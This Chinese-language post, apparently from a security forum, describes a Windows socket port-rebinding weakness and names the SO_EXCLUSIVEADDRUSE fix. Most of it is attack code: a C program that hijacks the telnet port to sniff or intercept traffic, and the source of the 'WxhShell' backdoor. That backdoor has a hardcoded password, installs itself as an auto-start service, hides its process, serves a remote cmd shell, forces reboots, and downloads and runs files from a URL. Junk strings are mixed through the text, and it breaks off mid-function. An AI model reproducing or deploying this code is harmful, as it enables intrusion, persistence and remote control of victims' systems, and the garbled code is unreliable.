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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0ji
q-3V) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p#KW$OQ]8 _P?\.W@ saddr.sin_family = AF_INET; x#C@8Bxq= :|1.seLQ saddr.sin_addr.s_addr = htonl(INADDR_ANY); HvxJj+X9 q_Lo3|t i bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nmjm<Bu 2ij#
H
; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #?B%Ja%
;W 26n^Dy>} 这意味着什么?意味着可以进行如下的攻击: UMN*]_'+;b z}Jr^> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s4H2/EC 4ujvD ^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t_ur&.^SB A`6ra}U<
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )$Z(|M4 @uH#qg7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 _DP|-bp D ~svO*o Wa 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A4mSJ6K] OJb*VtZz5R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s:y
^_W)d (5$ZvXx?} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AD('=g J /( 6|{B #include W
>(vYU #include j*;N\;iL!* #include EN!?:RV #include Zt E##p DWORD WINAPI ClientThread(LPVOID lpParam); vf~`eT
int main() u2(eaP8d { 9TxyZL
WORD wVersionRequested; efz&@|KR DWORD ret; G&f7+e WSADATA wsaData; YH:8<O,{- BOOL val;
FnHi(S|A SOCKADDR_IN saddr; $A<ESfrs SOCKADDR_IN scaddr; AKu_~bTk int err; )fU(AXSP SOCKET s; &GWkq> SOCKET sc; 'b"TH^\ int caddsize; P(omfD4 HANDLE mt; `xKFqx:e DWORD tid; _2vd`k wVersionRequested = MAKEWORD( 2, 2 ); IJU0[EA]F err = WSAStartup( wVersionRequested, &wsaData ); `&$B3)Eb if ( err != 0 ) { l)+:4N?iVv printf("error!WSAStartup failed!\n"); .>6 Wv0 return -1; Z$ KV&.=+ } F: 37MUQi saddr.sin_family = AF_INET; 2)/NFZ bb=uF1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F#+ .>!
Ey&aBYR saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 84&XW saddr.sin_port = htons(23); ~y0R'oi if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uL?vG6% ^1 { t0m*PJcF printf("error!socket failed!\n"); rU#li0
> return -1; mxqG-*ch- } UU@fkk val = TRUE; 8}BB OD //SO_REUSEADDR选项就是可以实现端口重绑定的 `Xo 4q3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XY+y}D
% { X,v4d~>] printf("error!setsockopt failed!\n"); *i<\iMoW return -1; (%<' A } I+,SZ]n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $EBb"+Y'T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rj H` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 So4nJ><p s'_,:R\VM> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b7h+?!H]R { P -Fg^tl ret=GetLastError(); Nw](". printf("error!bind failed!\n"); C9KWa*3 return -1; /r.6XZs6 } LP`CS849z2 listen(s,2); BgRZ<B` while(1) 3x5!a5$Y { uMFV%+I caddsize = sizeof(scaddr); E8/rZ~0O~ //接受连接请求 Q;26V4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E`@43Nz if(sc!=INVALID_SOCKET) V_a)jJ { OV5e#AOy) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R,Ml&4pZ} if(mt==NULL) if~rp-\P { QB 77:E printf("Thread Creat Failed!\n"); t =dO break; 8sw,k } HcJE0-" } *_)E6Y?9 CloseHandle(mt); i7eI=f-Q } lfS;?~W0k closesocket(s); aR:<<IF\ WSACleanup(); Fh`-(,e?5 return 0; W(@>?$& } k:P$LzIB DWORD WINAPI ClientThread(LPVOID lpParam) %2yAvGa1 { ]*ov&{' SOCKET ss = (SOCKET)lpParam; D<nxr~pQ SOCKET sc; !A[S6-18%- unsigned char buf[4096]; En5!"w|j SOCKADDR_IN saddr; KU2$5[~j long num; F";FG 0 DWORD val; 1VfSSO DWORD ret;
.fJ*c //如果是隐藏端口应用的话,可以在此处加一些判断 g@E&uyM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 K}2Npo
FS saddr.sin_family = AF_INET; dt~iw saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]P*!'iYN( saddr.sin_port = htons(23); 97x%w]kV if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) my,x9UPs { j-* TXog printf("error!socket failed!\n"); %CT!$Y'n return -1; P^(.tr3t } u33zceE8 val = 100; UB&2f> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J~dTVBx { o>!JrH ret = GetLastError(); 3'@&c?Fye return -1; $Q4=37H+ } pbdF]>\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #`j][F@N { ]<X2AO1 ret = GetLastError(); .&(8(C return -1; 4e/cqN6 } sV'v*
1| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9Dq.lr^ { U_*3>Q printf("error!socket connect failed!\n"); (rMZ closesocket(sc); 2f`xHI/@fj closesocket(ss); `Qq/F] return -1; -kc(u1! } AP
;*iyQ[ while(1) ~R{8.!: > { T?e9eYwS //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k5s ?lWH //如果是嗅探内容的话,可以再此处进行内容分析和记录 Nu+wL>t //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F '#^`G9 num = recv(ss,buf,4096,0); `
@>ZGL: if(num>0) (txt8q send(sc,buf,num,0); i+RD]QL else if(num==0) *+~D+_, break; ^;64!BaK num = recv(sc,buf,4096,0); ;o%:7& if(num>0) IQoH@l&Xk send(ss,buf,num,0); #Gp
M22d'( else if(num==0) TF)8qHy! u break; LJ
l1v } =~$U^IsWA closesocket(ss); >D3zV.R closesocket(sc); Hir(6Bt return 0 ; (uT^Nn9L= } /Tcb\:`9 ^yD"d =z 1<ehV
VP ========================================================== zP|*(* lrn+d$!@ 下边附上一个代码,,WXhSHELL {]@Qu" M -3`Isv ========================================================== &%}6q]e X?kPi&ru #include "stdafx.h" <THUsY`3P& xiJz`KD& #include <stdio.h> V^ Y*xZ #include <string.h> [>wzl"cHW #include <windows.h> Pzptr%{ #include <winsock2.h> EaCZx #include <winsvc.h> cb4b,Ri #include <urlmon.h> @92gb$xT uc\.oG;~q #pragma comment (lib, "Ws2_32.lib") Hp*gv/0 #pragma comment (lib, "urlmon.lib") Es~DHX >& [3 #define MAX_USER 100 // 最大客户端连接数 gb9[Meg' #define BUF_SOCK 200 // sock buffer i&1U4q #define KEY_BUFF 255 // 输入 buffer 8k%H[Smn: Yd.02 7 #define REBOOT 0 // 重启 .&L^J&V #define SHUTDOWN 1 // 关机 ^^'[%ok =E;
#OZO #define DEF_PORT 5000 // 监听端口 CHg]U l w2@"PGR #define REG_LEN 16 // 注册表键长度 o6:45 #define SVC_LEN 80 // NT服务名长度 ,?fN#gc : @F~0p5I // 从dll定义API T[m ~6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); at=D&oy4"+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xv8fPP( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uH0#rgKt typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2f`WDL '.=Wk^,Ua // wxhshell配置信息 kA;xAb+U3 struct WSCFG { BhOXXa{B int ws_port; // 监听端口 @^'G&%j char ws_passstr[REG_LEN]; // 口令 &G0l&8pa int ws_autoins; // 安装标记, 1=yes 0=no ;Fx') char ws_regname[REG_LEN]; // 注册表键名 j2< !z;2 char ws_svcname[REG_LEN]; // 服务名 eo>/ char ws_svcdisp[SVC_LEN]; // 服务显示名 dCa}ITg char ws_svcdesc[SVC_LEN]; // 服务描述信息 [q|?f?Zl char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cWgbd^J int ws_downexe; // 下载执行标记, 1=yes 0=no unC t4uX^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Vf"O/o}hq, char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Uc_'3|e LDT'FwMjy }; $, 8 CH)w Y1#-^,qg // default Wxhshell configuration ZMdM_i? struct WSCFG wscfg={DEF_PORT, UOn! Y@ "xuhuanlingzhe", 7( yXsVq 1, `Ev A\f "Wxhshell", Uuwq7oFub "Wxhshell", A2}Z
*U(; "WxhShell Service", |h#DL$ "Wrsky Windows CmdShell Service", %bCcsdK "Please Input Your Password: ", %KbBH:z05 1, 'LJ %.DJ " http://www.wrsky.com/wxhshell.exe", qf_hb "Wxhshell.exe" *37LN };
YRg=yVo2 R59e&
// 消息定义模块 H.jLGe> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,maAw}= char *msg_ws_prompt="\n\r? for help\n\r#>"; #)W8. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ?)Tz'9l char *msg_ws_ext="\n\rExit."; n@G:e-m{A char *msg_ws_end="\n\rQuit."; \e`6=Q% char *msg_ws_boot="\n\rReboot..."; FBR$,j;Y char *msg_ws_poff="\n\rShutdown..."; LFk5rv'sM0 char *msg_ws_down="\n\rSave to "; hEyX~f E9L!O.Q char *msg_ws_err="\n\rErr!"; WE+sFaKq- char *msg_ws_ok="\n\rOK!"; 2(+RIu0d ]&3s6{R char ExeFile[MAX_PATH]; *%ed;>6:Q int nUser = 0; ;J,,f1Vw HANDLE handles[MAX_USER]; g_rA_~dh int OsIsNt; d[s;a. 1?/5A|?V4+ SERVICE_STATUS serviceStatus; {{^Mr)]5K SERVICE_STATUS_HANDLE hServiceStatusHandle; ?F?\uC2)' aHBByH // 函数声明 }V1DyLg: int Install(void); K$Mx}m7l int Uninstall(void); 3EbnZb int DownloadFile(char *sURL, SOCKET wsh); c7FfI"7HR int Boot(int flag); #Pb7EL#c void HideProc(void); DBj;P|L_ int GetOsVer(void); _ 4~ng#M* int Wxhshell(SOCKET wsl); m NUN6qVP~ void TalkWithClient(void *cs); LU-#=1Q int CmdShell(SOCKET sock); k7z(Gbzu int StartFromService(void); . 1{vpX int StartWxhshell(LPSTR lpCmdLine); }Q{
=:X9 N:UDbLjw~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fl
pXVtsQ VOID WINAPI NTServiceHandler( DWORD fdwControl ); y9V;IXhDc "ay,Lr // 数据结构和表定义 /7UovKKbz SERVICE_TABLE_ENTRY DispatchTable[] = "<cB73tY { ~)!V8
{wscfg.ws_svcname, NTServiceMain}, )z?&"I {NULL, NULL} 902!M65[rG }; USnD7I/b `@u+u0 // 自我安装 EWuiaw. int Install(void) _0DXQS\ { *pcbwd!/ char svExeFile[MAX_PATH]; ZaukMEq HKEY key; ?L<UOv7;t strcpy(svExeFile,ExeFile); S7Iu?R_I C:tSCNH[ // 如果是win9x系统,修改注册表设为自启动 u7WTSL% if(!OsIsNt) { HKEop if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !#@4xeBPo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1cHSgpoJ RegCloseKey(key); %S(#cf!HP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $>S}acuC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZbZAx:L RegCloseKey(key); >,]
eL return 0; =0@d|LeZ } %#S "~) } r|JiGj^om } ?c=R"Yg$ else {
rvwl T>%uRK$ // 如果是NT以上系统,安装为系统服务 ch)Ps2i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qq;m"M / if (schSCManager!=0) :oon}_MdRd { M0;t%*1 SC_HANDLE schService = CreateService q/rHHuY} ( # o;CmB schSCManager, q[y,J wscfg.ws_svcname, s0`|G|.} wscfg.ws_svcdisp, ={mPg+Ei' SERVICE_ALL_ACCESS, j &0fC!k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =E"kv!e
SERVICE_AUTO_START, |`q)/ 08b SERVICE_ERROR_NORMAL, % L %1g svExeFile, iS:PRa1 NULL, rr07\; NULL, FkJ>]k NULL, 0w'y#U)&8 NULL, xu_XX#9?b NULL U'h[{ek ); )L(d$N=Bd if (schService!=0) 'n>3`1E, { J1c&"Oh CloseServiceHandle(schService); {P<BJ52= CloseServiceHandle(schSCManager); [c
KI0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f)AW !/ strcat(svExeFile,wscfg.ws_svcname); }]39
iK`w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v8'`gY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y3@x*_K8 RegCloseKey(key); (Q h7bfd return 0; A&}nRP9 } r0?hX } p~d)2TC4# CloseServiceHandle(schSCManager); WDH[kJ } u':0"5} } :m)Rmwn_ giSG 6'WA return 1; ~*cY& 9 } ]UCk_zWsn1 i k1L // 自我卸载 R.2KYhp, int Uninstall(void) yZ?_q$4kEI { k^dCX+ HKEY key; ?{.b9` 8x^H<y=O if(!OsIsNt) { mtWx ?x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v_@#hf3 RegDeleteValue(key,wscfg.ws_regname); 3 R:7bex RegCloseKey(key); Qq FfR# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xV n]m9i RegDeleteValue(key,wscfg.ws_regname); !s[j1=y RegCloseKey(key); 6(<~1{
X% return 0; ]=86[A-2N } UTK.tg } ;qVEI/ } "- j@GCme else { I3zitI; ,QHx*~9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M#lVPXS if (schSCManager!=0) 5rHnU<H@y { &J&w4"0N' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '/yx_RK2? if (schService!=0) $Op/5j { eFXi )tl if(DeleteService(schService)!=0) { HDW\S# CloseServiceHandle(schService); 1:;&wf CloseServiceHandle(schSCManager); LnRi+n[@7 return 0; A]SB c2 } !7NzW7j CloseServiceHandle(schService); t1RwB23 } 8#Z\ }gGz CloseServiceHandle(schSCManager); aIt
0;D } "za*$DU } k0e|8g X $OFFH[_z return 1; XUqE5[O% } s<r.+zqW _ KkVI7a // 从指定url下载文件 x4m_(CtK int DownloadFile(char *sURL, SOCKET wsh) :J4C'N { )r|zi
Z {F HRESULT hr; #:\+7mCF char seps[]= "/"; J*lYH]s char *token; MTITIecw= char *file; Mi/'4~0Y char myURL[MAX_PATH]; GLKN<2|2@y char myFILE[MAX_PATH]; 5W]N]^v f$@". strcpy(myURL,sURL); n%ArA])_& token=strtok(myURL,seps); Y'a(J 7 while(token!=NULL) O*n%2Mam { p2NB~t7Z file=token; X8l1xD token=strtok(NULL,seps); Q-dHR
i } pYhI{ M"$RtS|h GetCurrentDirectory(MAX_PATH,myFILE); ]MA)='~ strcat(myFILE, "\\"); bQN4ozSi strcat(myFILE, file); by
y1MgQd send(wsh,myFILE,strlen(myFILE),0); sImxa`kb send(wsh,"...",3,0); J0WXH/: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K?O X
if(hr==S_OK) _2!e!Z return 0; MdoWqpC else 9B;Sk]y return 1; eP'kY(g8 sK9h=J;F/ } -qCJwz30 }9Dv\"t5 // 系统电源模块 B3+WOf5W int Boot(int flag) c%3
@J+z { 53&xTcv}x HANDLE hToken; gMK3o8B/ TOKEN_PRIVILEGES tkp; #/v_h6$ Tx?@*Q if(OsIsNt) { AA& dZjz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MLIQ 8= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O>F.Wf5g tkp.PrivilegeCount = 1; I8%'Z>E( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B)cb}.N: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o-CJdOS if(flag==REBOOT) { "N/K* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1H[;7@o$e return 0; }]GK@nn7 } 5sCky)N else { b!HFv;^N if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;WAu]C| return 0; >]|^Ux,WZ } dvWlx]' } __n"DLW else { n|,Vm@zV if(flag==REBOOT) { MGC0^voe if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -bu. *= return 0; [3NV # } ~t3?er& R else { ,H(vD,54g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n2hsG.4 return 0; k'q
!MZU } 9C~GL,uKs } n *0F o%>nu return 1; ^Jpd9KK } >)Z2bCe cWy0N // win9x进程隐藏模块 43Uy<%yb>} void HideProc(void) VQ;-
dCV { r$eL-jQmn |w]i$`3'I HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &ziB#(&:H if ( hKernel != NULL ) 8A]q!To { ;B7|tajd pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G8-d%O p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %LlKi5u] FreeLibrary(hKernel); 0 S8{VZpy } !3M!p& 95&sFT
C return; J
2~B<=V } l+X^x%EA Sh6 NgO // 获取操作系统版本 a#GqJ?nY int GetOsVer(void) ?gP/XjToMg { |-Klh OSVERSIONINFO winfo; l>P~M50D?{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); { 3P!b|V> GetVersionEx(&winfo); 9JeGjkG, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }4`YdN return 1; xT(.#9 else evk
<<zi return 0; }33Au-%* } .%h_W\M<l U]&%EqLS // 客户端句柄模块 -*j; int Wxhshell(SOCKET wsl) BeCr){,3 { ]= D SOCKET wsh; *4\ub:9 struct sockaddr_in client; #!j&L6 DWORD myID; sJYX[ jo:p*Q"F while(nUser<MAX_USER) bbA<Zp { j*\MUR= int nSize=sizeof(client); yG_.|%e wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [o6<aE- if(wsh==INVALID_SOCKET) return 1; uV\#J{'* 3VgH*vAU} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I`lH6hHp if(handles[nUser]==0) ~%q e, closesocket(wsh); Jq@LZ2^ else .qP
zd(<T7 nUser++; ht!:e>z&4 } goWt!,&f WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }E_zW.{! j+v)I= return 0; X,Q(W0-6$u } %j`]x
-aOz imuHSxcaV // 关闭 socket ~.SU$ void CloseIt(SOCKET wsh) nW[aPQ[R { .^W0;ISX closesocket(wsh); p{u}t!`!d nUser--; E_*T0&P.P ExitThread(0); aMD?^ } $(hZw @g?z>n
n // 客户端请求句柄 A#\X-8/ void TalkWithClient(void *cs) 0(.C f.B~ { ku=q:ryO zy5bDL - SOCKET wsh=(SOCKET)cs; }0*7bb char pwd[SVC_LEN]; a#@opUn- char cmd[KEY_BUFF]; |LhuZ_;1xo char chr[1]; V6o,}o&- int i,j; R'_[RHFC }zLE*b, while (nUser < MAX_USER) { z}|'&O*.F }:Akpm if(wscfg.ws_passstr) { }?$Mh) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A-5%_M3\G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#wcoLCjs) //ZeroMemory(pwd,KEY_BUFF); {K}+$jzGVt i=0; #]a0 51Y while(i<SVC_LEN) { q\G@Nn^ -rrg?4 // 设置超时 gNBI?xs`p fd_set FdRead; EyiM`)!5 struct timeval TimeOut; 34:=A0z FD_ZERO(&FdRead); DtX{0p<T3 FD_SET(wsh,&FdRead); f:>jH+o.S TimeOut.tv_sec=8;
D-/A> TimeOut.tv_usec=0; )o CF|
2qc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U^S0H(> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n+w>Qz' @B <_h+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WbF\=;$=7 pwd =chr[0]; Ro69woU if(chr[0]==0xd || chr[0]==0xa) { -R]S)Odml pwd=0; "^%Il break; 2^:nlM{u } fz\Az- i++; ?z.`rD$}(n } l K%Hb= owB)+ // 如果是非法用户,关闭 socket pQJZE7S if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W@LR!EW) } \wP$"Z}j B;$5*3D+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ny0`~bl{p send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rA7S1)Kq q
Sah _N while(1) { f&J*(F*u IB<ihk ZeroMemory(cmd,KEY_BUFF); g>{=R|uO5 G#>nOB // 自动支持客户端 telnet标准 ME"/%59r j=0; F ry5v?22 while(j<KEY_BUFF) { +yk>jx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bT |FJ\aC cmd[j]=chr[0]; i+6/ g if(chr[0]==0xa || chr[0]==0xd) { USY^
[@o[f cmd[j]=0; iQQJ` break; q^)(p'
X } Spb'jAKj' j++; #';r 0?| } Tbw8#[6AX 6kk(FVX // 下载文件 dcsd//E if(strstr(cmd,"http://")) { 3FfS+q*3S send(wsh,msg_ws_down,strlen(msg_ws_down),0); p_(
NLJ% if(DownloadFile(cmd,wsh)) lwlR"Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wh7nli7f_ else %$U+?lk} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {$JIR}4S } }0o0 "J-$ else { NoT oLt\ lH8?IkK,g switch(cmd[0]) { CS *^]ba> // 帮助 #=2~MXa@z7 case '?': { 5;+Bl@zGu send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x[E`2_Ff 0 break; U8z,N1]r*` } YZd4% zF // 安装 x1Uj4*Au case 'i': { Zv_<*uzKZ if(Install()) fQ@["b send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5d)v)Rx= else pE#0949 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); & |r)pl0$ break; ;NEHbLH#F } <_}u5E)7( // 卸载 _XN sDW4| case 'r': { E;SFf if(Uninstall()) ;C3]( send(wsh,msg_ws_err,strlen(msg_ws_err),0); mi+I)b= else sSxra!tv4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 [IiJhVL break; :v+39 } o_S8fHqjt // 显示 wxhshell 所在路径 b^1!_1c case 'p': { _?8T'?-1 char svExeFile[MAX_PATH]; .nnAI@7E strcpy(svExeFile,"\n\r"); _nF_RpS strcat(svExeFile,ExeFile); JL1Whf send(wsh,svExeFile,strlen(svExeFile),0); M~v{\!S break; d] {^ } X#fI$9a // 重启 Cs< d\"+ case 'b': { $Khc?v send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5u8 YHv if(Boot(REBOOT)) hhpH)Bi= send(wsh,msg_ws_err,strlen(msg_ws_err),0); eG<32$I else { i4l?q#X closesocket(wsh); 6w'^,V ExitThread(0); D0~mu{;c$ } I2b[ break; &WIPz\ } !GO4cbdQ // 关机 N?aU<-Tn case 'd': { #qzozQ4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +g*Ko@]m> if(Boot(SHUTDOWN)) ey:3F% send(wsh,msg_ws_err,strlen(msg_ws_err),0); \;~>AL* else { -LF^u;s8&S closesocket(wsh); Tg[+K+ b ExitThread(0); qzXch["So } F"_SCA?9? break; -YYQnN } z5?xmffB // 获取shell U_+>4zdm case 's': { XWk^$ " CmdShell(wsh); Xln'~5~) closesocket(wsh); \ /o`CV{O ExitThread(0); ie5" break; (%".=x- } =2<
>dM#` // 退出 75a3H` case 'x': { h_J'dJS send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,oR}0(^"\< CloseIt(wsh); ,>)/ y break; m}k rG } Rh%x5RFFc // 离开 P*_Q 8I)Y case 'q': { /.vB /{2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); N[Fz6,ZG _ closesocket(wsh); 3ILEc:<0J WSACleanup(); ZT!DTb
B exit(1); l =#uy break; A@GyKx%x$ } `6'fX[j5 } ^;M!u8 [ } Q\}5q3 hW]:CIqk // 提示信息 7 'N&jI if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rTQrlQ:@ } r'"H8>UZ% } uSH.c> (JOge~U return; 1aKY+4/G } -(dc1?COi & GX
pRo // shell模块句柄 ^+I{*0{/[ int CmdShell(SOCKET sock) 26j ; RV { Y2}\~I0 STARTUPINFO si; Go8 m ZeroMemory(&si,sizeof(si)); :\>@yCD si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f $R]m2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \7jK6;R< PROCESS_INFORMATION ProcessInfo; N,L$+wm char cmdline[]="cmd"; C/!kMMh>vV CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nF]lSg&]X return 0; c<|;<8ew } ftRf~5d2 dG\dGSZ\h // 自身启动模式 BTqY_9 int StartFromService(void) !CUrpr/* { ~'n3],o? typedef struct f/aSqhAW { a(QYc?u DWORD ExitStatus; w(0's' DWORD PebBaseAddress; h?jKq2`
DWORD AffinityMask; ar }F^8Ku DWORD BasePriority; +TL5yuA ULONG UniqueProcessId; (U4]d` ULONG InheritedFromUniqueProcessId; ~m'PAC"Q$ } PROCESS_BASIC_INFORMATION; dL!PpLR$2 mGb,oj7l PROCNTQSIP NtQueryInformationProcess; um~U_&> 63 F@Ft static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rxJmK$qd static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l!5fuB8 I'm.+(1m, HANDLE hProcess; WZ>
